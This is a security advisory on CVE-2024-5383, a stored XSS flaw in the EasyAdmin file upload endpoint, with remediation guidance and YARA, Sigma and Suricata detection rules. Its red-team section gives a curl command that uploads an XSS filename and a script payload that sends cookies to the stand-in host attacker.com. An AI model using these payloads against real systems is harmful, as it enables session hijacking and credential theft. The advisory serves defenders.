CVE-2024-5383

Executive Summary

CVE-2024-5383 is a stored Cross-Site Scripting (XSS) vulnerability identified in the Lakernote EasyAdmin application, affecting versions up to and including the 20240324 rolling release. The flaw resides in the file upload functionality at /sys/file/upload, where the file argument is not properly sanitized, allowing an attacker to inject arbitrary JavaScript or HTML. This can lead to session hijacking, credential theft, or defacement when an administrator or user views the uploaded file metadata. The vulnerability is remotely exploitable with low complexity and requires user interaction. A public proof-of-concept exists, and a patch commit is available in the project’s rolling release repository.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in a PHP-based admin panel. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction (e.g., an admin viewing the uploaded file details), but the attack surface is broad due to the public exploit and lack of authentication for the upload endpoint.

Deep Dive & Mechanics

The vulnerability exists in the file upload handler at /sys/file/upload. The application accepts a file via the file parameter and stores it on the server. However, the filename or metadata (such as the original filename) is reflected back to the user without proper sanitization or output encoding. An attacker can craft a filename containing malicious JavaScript, e.g., <script>alert('XSS')</script>.png. When an administrator views the list of uploaded files, the script executes in their browser context.

Root Cause: Lack of input validation and output encoding on the file parameter. The application likely uses $_FILES['file']['name'] directly in HTML responses without escaping.

Attack Flow:

1. Attacker sends a POST request to /sys/file/upload with a malicious filename.
2. The server stores the file and returns the filename in a response or list view.
3. An administrator visits the file management page.
4. The malicious script executes, potentially stealing session cookies or performing actions on behalf of the admin.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct use of filename without sanitization
$filename = $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . $filename);
echo "File uploaded: " . $filename;

Patched Code (Based on commit 9c8a836):

// Patched: Sanitize filename and encode output
$filename = basename($_FILES['file']['name']);
$filename = preg_replace('/[^a-zA-Z0-9._-]/', '', $filename);
move_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . $filename);
echo "File uploaded: " . htmlspecialchars($filename, ENT_QUOTES, 'UTF-8');

The patch applies htmlspecialchars() to escape HTML entities and strips non-alphanumeric characters from the filename.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Lakernote EasyAdmin <= 20240324.
• Access to the /sys/file/upload endpoint (no authentication required).

Exploit Steps:

1. Craft a malicious filename: <img src=x onerror=alert(document.cookie)>.png
2. Send a POST request with the file:

curl -X POST -F "file=@/path/to/valid.png;filename=<img src=x onerror=alert(document.cookie)>.png" http://target.com/sys/file/upload

3. Wait for an admin to view the file list. The XSS triggers.

Alternative Payload (Session Hijacking):

<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Detection & Mitigation)

Detection:

• Monitor for unusual filenames containing <, >, script, or onerror in upload requests.
• Use WAF rules to block filenames with HTML/JavaScript patterns.

Mitigation:

• Apply the patch immediately (commit 9c8a836).
• Implement strict input validation: allow only alphanumeric, dot, underscore, and hyphen in filenames.
• Use htmlspecialchars() or equivalent when displaying filenames.
• Restrict access to the upload endpoint to authenticated users only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /sys/file/upload with filenames containing <, >, script, or onerror.
  • Outbound HTTP requests to attacker-controlled domains from the admin panel.
• File System IOCs:
  • Files in the uploads directory with names containing HTML/JavaScript characters.
• Log IOCs:
  • Web server logs showing alert( or document.cookie in the request URI or filename.

Detection Engineering

YARA Rule

rule Detect_Malicious_Upload_Filename {
    meta:
        description = "Detects filenames containing XSS patterns in upload requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5383"
    strings:
        $xss1 = /<[^>]*script/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Suspicious File Upload with XSS Payload
id: 8f3b1c2a-5d7e-4f9b-8a1c-3e6d2f4b5a7c
status: experimental
description: Detects file upload requests with filenames containing XSS patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/sys/file/upload'
        cs-uri-query|re: '(<|>|script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate filenames with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5383 - XSS via File Upload in EasyAdmin"; flow:to_server; content:"POST"; http_method; content:"/sys/file/upload"; http_uri; pcre:"/(<|>|script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Apply commit 9c8a836ace17a93c45e5ad52a2340788b7795030 from the Lakernote repository.
2. Input Validation: Sanitize filenames to allow only safe characters (alphanumeric, dot, underscore, hyphen).
3. Output Encoding: Use htmlspecialchars() or equivalent when displaying filenames in HTML.
4. Access Control: Require authentication for the upload endpoint.
5. WAF Rules: Block requests with filenames containing HTML/JavaScript patterns.
6. Monitoring: Enable logging and alerting on suspicious uploads.

Valters IT